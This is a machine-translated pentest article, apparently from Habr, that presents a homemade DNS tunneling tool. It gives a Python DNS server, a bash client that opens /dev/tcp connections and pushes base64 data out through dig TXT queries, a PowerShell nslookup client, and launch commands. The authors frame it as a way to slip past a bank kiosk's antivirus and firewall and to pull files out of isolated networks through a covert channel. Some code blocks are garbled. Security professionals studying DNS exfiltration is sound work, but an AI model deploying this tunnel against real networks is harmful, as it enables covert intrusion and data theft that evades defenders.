Traffic at the end of the tunnel or DNS in pentest


    Hello! During penetration testing projects, we often encounter tightly segmented networks that are almost completely isolated from the outside world. Sometimes, to solve this problem, it is required to forward traffic through the only available protocol - DNS. In this article, we will describe how to solve a similar problem in 2018 and which pitfalls are encountered in the process. Also popular utilities will be considered and the release of its own open-source utilities with features that are usually lacking in existing similar tools will be presented.


    What are DNS tunnels?


    Habré already has several articles explaining what DNS tunneling is. However, a little theory about DNS tunneling can be found under the spoiler.


    What is DNS tunneling?

    It happens that access to the network is tightly cut off by a firewall, and you need to transfer data to a great extent, and then the DNS tunneling technique comes to the rescue.


    On the diagram, everything looks like this:


    Запросы к DNS даже при самых строгих настройках файерволла иногда все же проходят, и это можно использовать, отвечая на них со своего сервера, находящегося по ту сторону. Связь будет крайне медленной, но этого хватит для проникновения в локальную сеть организации или, например, для срочного выхода в Интернет по платному Wi-Fi за границей.


    What is popular at the moment


    Now on the Internet you can find many utilities for the operation of this technique - each with its own features and bugs. We have chosen for comparison testing the five most popular:


    • dnscat2
    • iodine
    • dns2tcp
    • Heyoka
    • OzymanDNS

    More information about how we tested them can be found in our article on Hacker . Here we give only the results.



    As can be seen from the results, it is possible to work, but in terms of penetration testing there are drawbacks:


    • compiled clients - it is much easier to run something interpretable than a binary file on antivirus machines;
    • unstable work under Windows;
    • the need to install additional software in some cases.

    Because of these shortcomings, we needed to develop our own tool, and this is how it turned out ...


    We create our own utility for DNS-tunneling


    Prehistory


    It all started during the internal pentest of one bank. In the hall there was a public computer used for printing documents, references and other papers. Our goal: to get the most benefit from the machine that was running Windows 7, had “Kaspersky Anti-Virus” on board and allowed to access only certain pages (but at the same time it was possible to resolve DNS names).


    After conducting a primary analysis and receiving additional data from the car, we developed several attack vectors. The ways of using the machine with the help of binary programs were immediately removed to the side, since “great and terrible” “Kaspersky” immediately rubbed it upon detecting the executable file. However, we were able to get the ability to run scripts on behalf of the local administrator, after which one of the ideas was the ability to create a DNS tunnel.


    Searching for possible methods, we found a client on PowerShell for dnscat2 (we wrote about it earlier). But in the end, the maximum that we managed to make was to establish a connection for a short time, after which the client fell.


    This, to put it mildly, upset us greatly, since in this situation the presence of an interpreted client was simply necessary. Actually, this was one of the reasons for developing your own tool for DNS tunneling.


    Requirements


    The main requirements for ourselves are:


    • the availability of universal (as far as possible) and interpretable clients for Unix and Windows systems. For customers, the languages ​​bash and Powershell were chosen, respectively. In the future, a Perl client for unix is ​​planned;
    • possibility of traffic forwarding from a specific application;
    • Multiple client support per user.

    Project architecture


    Based on the requirements, we started to develop. In our view, the utility consists of 3 parts: a client on the internal machine, a DNS server and a small proxy between the pentester application and the DNS server.



    To begin with, we decided to forward the tunnel through TXT records.


    The principle of operation is quite simple:


    • Pentester starts the DNS server.
    • Pentester (or the user, through social engineering) starts the client on the internal machine. On the client there are such parameters as the client's name and domain, as well as the ability to directly specify the IP address of the DNS server.
    • Pentester (from the external network) starts the proxy, where it indicates the IP address of the DNS server, as well as the port where to knock, the IP targets (for example, ssh on the internal network where the client is located) and, accordingly, the target port. You also need a customer ID, which can be obtained by adding a key --clients.
    • Pentester launches the application of interest, pointing the proxy port to localhost.

    Communication protocol


    Consider a fairly simple protocol for communicating a server with a client.


    check in


    When the client starts, it is registered on the server, requesting a TXT record through a subdomain of the following format:


    0<7 random chars><client name>.<your domain>


    0 - registration key
    <7 random chars>- to avoid caching DNS records
    <client name>- the name given to the client at startup
    <your domain>is ex .: xakep.ru
    . If registration is successful, the client receives a success message in the TXT response, as well as an id assigned to it, which he will continue to use .


    Main loop


    After registration, the client begins to poll the server for the availability of new data in the format


    1<7 random chars><id>.<your domain>


    In the case of the availability of new data in the TXT response, it receives them in the format


    <id><target ip>:<target port>:<data in base64>otherwise come <id>ND.


    Data loading cycle


    The client in the loop checks if the data came from ours <target>. In case there is an answer, we read, from what has come, a buffer of size N Kb, divide it into blocks long 250-<len_of_your_domain>-<количество протокольных символов>and send the data block by block in the format:
    2<4randomchars><id><block_id>.<data>.<your_domain>


    If the block is successful, we get OK with some data about the block transferred, and if the transfer is complete, we get the buffer ENDBLOCK.


    DNS server


    The DNS server for tunneling was written in Python3 using the dnslib library, which makes it easy to create your own DNS resolver by inheriting from the dnslib.ProxyResolver object and overriding the resolve method).


    Gorgeous dnslib allows you to create your ProxyDNS very quickly:


    Little server code
    classResolver(ProxyResolver):def__init__(self, upstream):
            super().__init__(upstream, 53, 5) 
        defresolve(self, request, handler):# волшебный метод
            domain_request = DOMAIN_REGEX.findall(str(request.q.qname))
            type_name = QTYPE[request.q.qtype]
            ifnot domain_request:
                # все DNS запросы, которые не относятся к туннелю, отправляем в другое место: например, в googlereturn super().resolve(request, handler)
            # ТУТ КОД, который определяет переменную result
            reply = request.reply()
            reply.add_answer(RR(
              rname=DNSLabel(str(request.q.qname)),
              rtype=QTYPE.TXT,
              rdata=dns.TXT(wrap(result, 255)),   # делим ответ на части по 255 символов, если он большой, соблюдая стандарт
              ttl=300
            ))
            if reply.rr:
                return reply
            if __name__ == '__main__':
                port = int(os.getenv('PORT', 53))
                upstream = os.getenv('UPSTREAM', '8.8.8.8')  # куда отправляем запросы не для туннеля
                resolver = Resolver(upstream)
                udp_server = DNSServer(resolver, port=port)
                tcp_server = DNSServer(resolver, port=port, tcp=True)
                udp_server.start_thread()
                tcp_server.start_thread()
            try:
                while udp_server.isAlive():
                sleep(1)
            except KeyboardInterrupt:
                pass

    In resolve (), we define reactions to DNS requests from the client: registration, request for new records, reverse data transfer and deletion of the user.


    Information about users is stored in the SQLite database, the clipboard is in RAM and has the following structure, in which the key is the client number:


    {
      {
        "target_ip": "192.168.1.2",  # IP “жертвы” - куда форвардим запросы
        "target_port": "",  # Порт “жертвы”
        "socket": None,   # Сокет для обмена данными с пентестером
        "buffer": None,   # буфер получения данных от пентестера
        "upstream_buffer": b''  # буфер получения данных от клиента
       }, ...
    }

    To put data from the pentester into the buffer, we wrote a small “receiver”, which is running in a separate stream. It catches connections from the pentester and performs routing: which client to send requests.


    Before starting the server, the user needs to set only one parameter: DOMAIN_NAME - the name of the domain with which the server will work.


    Bash client


    Bash was chosen for writing a client for Unix systems, since it is most often found in modern Unix systems. Bash provides the ability to establish a connection via / dev / tcp /, even with unprivileged user rights.


    We will not analyze each piece of code in detail, we will look only at the most interesting moments.
    The principle of the client is simple. To communicate with the DNS uses a standard utility dig. The client is registered on the server, and then, in an eternal cycle, it starts to perform requests using the protocol described earlier. Under the spoiler more.


    More about Bash client

    Идет проверка, было ли установлено соединение, и если да, то выполняется функция reply (чтение пришедших данных от target, разбиение и отправка на сервер).


    После этого уточняется, есть ли новые данные от сервера. Если они обнаружены, то мы проверяем, нужно ли сбрасывать соединение. Сам разрыв происходит, когда нам приходит информация о target с ip 0.0.0.0 и портом 00. В этом случае мы очищаем файловый дескриптор (если он не был открыт, никаких проблем не возникнет) и меняем target ip на пришедший 0.0.0.0.


    Далее по коду мы смотрим, есть ли необходимость установить новое соединение. Как только следующие сообщения начнут слать нам данные для target, мы, в случае, если прошлый ip не совпадает с текущим (после сброса так и будет), меняем target на новый, и устанавливаем соединение через команду exec 3<>/dev/tcp/$ip/$port, где $ip — target, $port — target port.
    В итоге, если соединение уже установлено, то пришедший кусок данных декодится и летит в дескриптор через команду echo -e -n ${data_array[2]} | base64 -d >&3, где ${data_array[2]} — то, что мы получили от сервера.


    while :
    do
        if [[ $is_set = 'SET' ]]
            then
            reply
        fi
        data=$(get_data $id)
        if [[ ${data:0:2} = $id ]]
            then
            if [[ ${data:2:2} = 'ND' ]]
                then
                sleep 0.1
            else
                IFS=':' read -r -a data_array <<< $data
                data=${data_array[0]}
                is_id=${data:0:2}
                ip=${data:2}
                port=${data_array[1]}
                if [[ $is_id = $id ]]
                    then
                    if [[ $ip = '0.0.0.0'  &&  $port = '00' ]]
                        then
                        exec 3<&-
                        exec 3>&-
                        is_set='NOTSET'
                        echo "Connection OFF"
                        last_ip=$ip
                    fi
                    if [[ $last_ip != $ip  ]]
                        then
                        exec 3<>/dev/tcp/$ip/$port
                        is_set='SET'
                        echo "Connection ON"
                        last_ip=$ip
                    fi
                    if [[ $is_set = 'SET' ]]
                        then
                        echo -e -n ${data_array[2]} | base64 -d >&3
                    fi
                fi
            fi
        fi
    done

    Теперь рассмотрим отправку в функции reply. Сначала мы считываем 2048 байт из дескриптора и сразу энкодим их через $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0). Далее же, если ответ пустой, выходим из функции, иначе начинаем операцию по разбиению и отправке. Заметим, что после формирования запроса для отправки через dig, идет проверка успешности доставки. В случае успеха выходим из цикла, иначе пробуем, пока не получится.


    reply() {
        response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0)
        if [[ $response != '' ]]
            then
            debug_echo 'Got response from target server '
            response_len=${#response}
            number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN}))
            if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]]
                then
                number_of_blocks-=1
            fi
            debug_echo 'Sending message back...'
            point=0
            for ((i=$number_of_blocks;i>=0;i--))
            do
                blocks_data=${response:$point:$MESSAGE_LEN}
                if [[ ${#blocks_data} -gt 63 ]]
                    then
                    localpoint=0
                    while :
                    do
                        block=${blocks_data:localpoint:63}
                        if [[ $block != '' ]]
                        then
                            dat+=$block.
                            localpoint=$((localpoint + 63))
                        else
                            break
                        fi
                    done
                    blocks_data=$dat
                    dat=''
                    point=$((point + MESSAGE_LEN))
                else
                    blocks_data+=.
                fi
                while :
                do
                    block=$(printf %03d $i)
                    check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+')
                    if [[ $check_deliver = 'ENDBLOCK' ]]
                        then
                            debug_echo 'Message delivered!'
                            break
                    fi
                    IFS=':' read -r -a check_deliver_array <<< $check_deliver
                    deliver_data=${check_deliver_array[0]}
                    block_check=${deliver_data:2}
                    if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]]
                    then
                        break
                    fi
                done
            done
        else
            debug_echo 'Empty message from target server, forward the next package '
        fi
    }

    Powershell client:


    Since we needed complete interpretability and work on most of the current systems, the client-side client for Windows is the standard nslookup utility for communication via DNS and the System.Net.Sockets.TcpClient object for establishing a connection on the internal network.


    Everything is also very simple. Each loop iteration is a call to the nslookup command using the protocol described earlier.


    For example, to register, we execute the command:
    $text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
    If errors occur, we do not show them by sending the error descriptor values ​​to $ null.


    nslookup returns us a similar answer:


    After that we need to pull out all the lines in quotation marks, for which we pass through them with a regular schedule:


    $text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


    Now you can process the received commands.
    Each time the IP address of the “victim” changes, a TCP client is created, a connection is established, and data transfer begins. From the DNS server, the base64 information is decoded, and the bytes are sent to the victim. If the “victim” answered something, then we encode, divide into parts and execute nslookup requests according to the protocol. Everything.
    When you press Ctrl + C, you are prompted to delete the client.


    Proxy:


    Proxy for pentester is a small proxy server on python3.



    In the settings you need to specify the IP DNS-server port where to connect to the server, --clients option returns a list of registered clients, --target - target ip, --target_port - target port, --client- id the client, with whom we work (seen after the performance --clients) --send_timeout- timeout for sending messages from the application.


    When started with the parameter --clients, the proxy sends a request to the server in the format \x00GETCLIENTS\n.
    In the case when we start work, when connecting, send a message in a format \x02RESET:client_id\nto reset the previous connection. After we send information about our goal: \x01client_id:ip:port:\n
    Next, when sending messages to the client, we send bytes in the format \x03data, and we just send raw bytes to the application.
    Also, the proxy supports SOCKS5 mode.


    What difficulties may arise?


    As with any mechanism, the utility may fail. Let's not forget that a DNS tunnel is a delicate thing, and its work can be influenced by many factors, ranging from network architecture, to connection quality to your production server.


    During testing, we occasionally noticed small failures. For example, with a high print speed, working via ssh, it is worth setting the parameter --send_timeout, because otherwise the client starts to hang. Also, sometimes the connection may not be established the first time, but this is easily treated by restarting the proxy, since with the new connection the past connection will be reset. There were also problems with resolving domains when working with proxychains, however this is also fixable if you specify an additional parameter for proxychains. It is worth noting that at the moment the utility does not control the appearance of unnecessary requests from caching DNS servers, so sometimes the connection may fall, but this is again treated in the manner described above.


    Launch


    We configure NS records on the domain:



    We are waiting until the cache is updated (up to 5 hours usually).


    We start the server:
    python3 ./server.py --domain oversec.ru


    Start the client (Bash):
    bash ./bash_client.sh -d oversec.ru -n TEST1


    Run the client (Win):
    PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


    Let's look at the list of connected clients:
    python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


    Run the proxy:
    python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


    Testing:


    After the server and at least one client have been started, we can contact the proxy as if it were our remote machine.
    Let's try to simulate the following situation: the pentester wants to download the file from the server from the local network of the organization protected by the firewall, while using social engineering methods he could force the DNS client to run inside the network and find out the SSH server password.


    The Pentester runs a proxy on his machine, indicating the necessary client, and can then make similar calls that go to the client, and from the client to the local network.
    scp -P9090 -C root@localhost:/root/dnserver.py test.kek


    Let's see what happened:



    At the top left you can see the DNS requests that come to the server, on the top right - proxy traffic, on the bottom left - traffic from the client, and on the bottom right - our application. The speed was pretty decent for a DNS tunnel: 4.9Kb / s using compression.


    When launched without compression, the utility showed a speed of 1.8 kb / s:



    Let's look carefully at the DNS server traffic, for this we use the tcpdump utility.
    tcpdump -i eth0 udp port 53



    We see that everything corresponds to the described protocol: the client constantly polls the server, whether it has any new data for this client using type queries 1c6Zx9Vi39.oversec.ru. If there is data, the server responds with a set of TXT records, otherwise% client_num% ND ( 39ND). The client sends information to the server using queries like28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


    In the following videos you can visually see the work of the utility in conjunction with meterpreter and in SOCKS5 mode.




    Total:


    Let's summarize a little. What are the features of this development and why we recommend using it?


    1. Interpreted clients on Bash and Powershell: no EXE files or ELFs that can be problematic to launch.
    2. Connection stability: in tests, our utility behaved much more stable, and if there were any bugs, you could simply reconnect, while the client did not fall, as in the case of dnscat2, for example.
    3. High enough speed for a DNS tunnel: Of course, the speed does not reach iodine, but there is a much lower level compiled solution.
    4. Administrator rights are not required: the Bash client works without administrator rights, and Powershell scripts are sometimes prohibited by security policies, but this is quite easy to manage.
    5. There is a socks5 proxy mode that allows you to do this curl -v --socks5 127.0.0.1:9011 https://ident.meor run nmap on the entire internal network.

    The utility code is located here.


    Also popular now: